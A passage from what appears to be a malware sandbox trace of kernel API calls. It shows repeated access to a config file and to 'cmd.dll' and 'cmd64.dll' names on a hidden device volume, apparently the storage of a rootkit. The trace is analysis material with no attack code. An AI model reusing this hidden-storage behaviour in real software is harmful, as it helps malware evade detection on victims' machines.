0xfffffa8003baf190 [0130.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.332] IdePortDispatch () returned 0x103 [0130.333] KeWaitForMutexObject () returned 0x0 [0130.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.333] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.333] IdePortDispatch () returned 0x103 [0130.333] KeWaitForMutexObject () returned 0x0 [0130.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.333] KeLeaveCriticalRegion () [0130.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.333] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.333] KeEnterCriticalRegion () [0130.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.333] KeLeaveCriticalRegion () [0130.333] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.334] KeEnterCriticalRegion () [0130.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] KeLeaveCriticalRegion () [0130.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.334] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.334] KeEnterCriticalRegion () [0130.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] KeLeaveCriticalRegion () [0130.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.334] ReleaseMutex (hMutex=0xf0) returned 1 [0130.334] Sleep (dwMilliseconds=0x124f80) [0130.494] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.494] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.494] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.494] KeEnterCriticalRegion () [0130.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.495] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.495] IdePortDispatch () returned 0x103 [0130.495] KeWaitForMutexObject () returned 0x0 [0130.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.495] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.495] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.495] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.495] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.495] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294dc60 [0130.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.495] KeLeaveCriticalRegion () [0130.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.495] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.495] KeEnterCriticalRegion () [0130.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0130.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.495] KeLeaveCriticalRegion () [0130.495] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.496] KeEnterCriticalRegion () [0130.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.496] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.496] IdePortDispatch () returned 0x103 [0130.496] KeWaitForMutexObject () returned 0x0 [0130.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.496] KeLeaveCriticalRegion () [0130.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.496] KeEnterCriticalRegion () [0130.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d63000 [0130.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.496] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.496] IdePortDispatch () returned 0x103 [0130.496] KeWaitForMutexObject () returned 0x0 [0130.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.497] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.497] IdePortDispatch () returned 0x103 [0130.497] KeWaitForMutexObject () returned 0x0 [0130.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.497] KeLeaveCriticalRegion () [0130.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.498] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.498] KeEnterCriticalRegion () [0130.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0130.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] KeLeaveCriticalRegion () [0130.498] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.498] KeEnterCriticalRegion () [0130.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0130.498] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294da10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] KeLeaveCriticalRegion () [0130.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.498] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.498] KeEnterCriticalRegion () [0130.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] ExFreePoolWithTag (P=0xfffffa800294dc60, Tag=0x0) [0130.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] KeLeaveCriticalRegion () [0130.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.498] ReleaseMutex (hMutex=0xf0) returned 1 [0130.498] Sleep (dwMilliseconds=0x124f80) [0130.502] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.502] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.502] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.502] KeEnterCriticalRegion () [0130.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.502] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.502] IdePortDispatch () returned 0x103 [0130.502] KeWaitForMutexObject () returned 0x0 [0130.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.503] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.503] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.503] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.503] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.503] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] KeLeaveCriticalRegion () [0130.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.503] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.503] KeEnterCriticalRegion () [0130.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] KeLeaveCriticalRegion () [0130.503] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.503] KeEnterCriticalRegion () [0130.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.503] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.503] IdePortDispatch () returned 0x103 [0130.503] KeWaitForMutexObject () returned 0x0 [0130.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] KeLeaveCriticalRegion () [0130.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.503] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.503] KeEnterCriticalRegion () [0130.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d65000 [0130.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.504] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.504] IdePortDispatch () returned 0x103 [0130.504] KeWaitForMutexObject () returned 0x0 [0130.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.504] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.504] IdePortDispatch () returned 0x103 [0130.504] KeWaitForMutexObject () returned 0x0 [0130.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.504] KeLeaveCriticalRegion () [0130.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.505] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.505] KeEnterCriticalRegion () [0130.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] KeLeaveCriticalRegion () [0130.505] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.505] KeEnterCriticalRegion () [0130.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.505] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] KeLeaveCriticalRegion () [0130.505] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.505] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.505] KeEnterCriticalRegion () [0130.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] KeLeaveCriticalRegion () [0130.505] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.505] ReleaseMutex (hMutex=0xf0) returned 1 [0130.505] Sleep (dwMilliseconds=0x124f80) [0130.519] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.519] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.519] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.519] KeEnterCriticalRegion () [0130.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.519] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.520] IdePortDispatch () returned 0x103 [0130.520] KeWaitForMutexObject () returned 0x0 [0130.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.520] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.520] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.520] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.520] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.520] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d8a0 [0130.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.520] KeLeaveCriticalRegion () [0130.520] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.520] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.520] KeEnterCriticalRegion () [0130.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.520] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.520] KeLeaveCriticalRegion () [0130.520] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.520] KeEnterCriticalRegion () [0130.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.520] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.520] IdePortDispatch () returned 0x103 [0130.520] KeWaitForMutexObject () returned 0x0 [0130.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.520] KeLeaveCriticalRegion () [0130.520] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.521] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.521] KeEnterCriticalRegion () [0130.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6a000 [0130.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.521] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.521] IdePortDispatch () returned 0x103 [0130.521] KeWaitForMutexObject () returned 0x0 [0130.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.521] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.521] IdePortDispatch () returned 0x103 [0130.521] KeWaitForMutexObject () returned 0x0 [0130.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.521] KeLeaveCriticalRegion () [0130.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.522] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.522] KeEnterCriticalRegion () [0130.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] KeLeaveCriticalRegion () [0130.522] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.522] KeEnterCriticalRegion () [0130.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.522] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294dd70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] KeLeaveCriticalRegion () [0130.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.522] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.522] KeEnterCriticalRegion () [0130.522] ExAcquireFastMutexUnsafe (in: 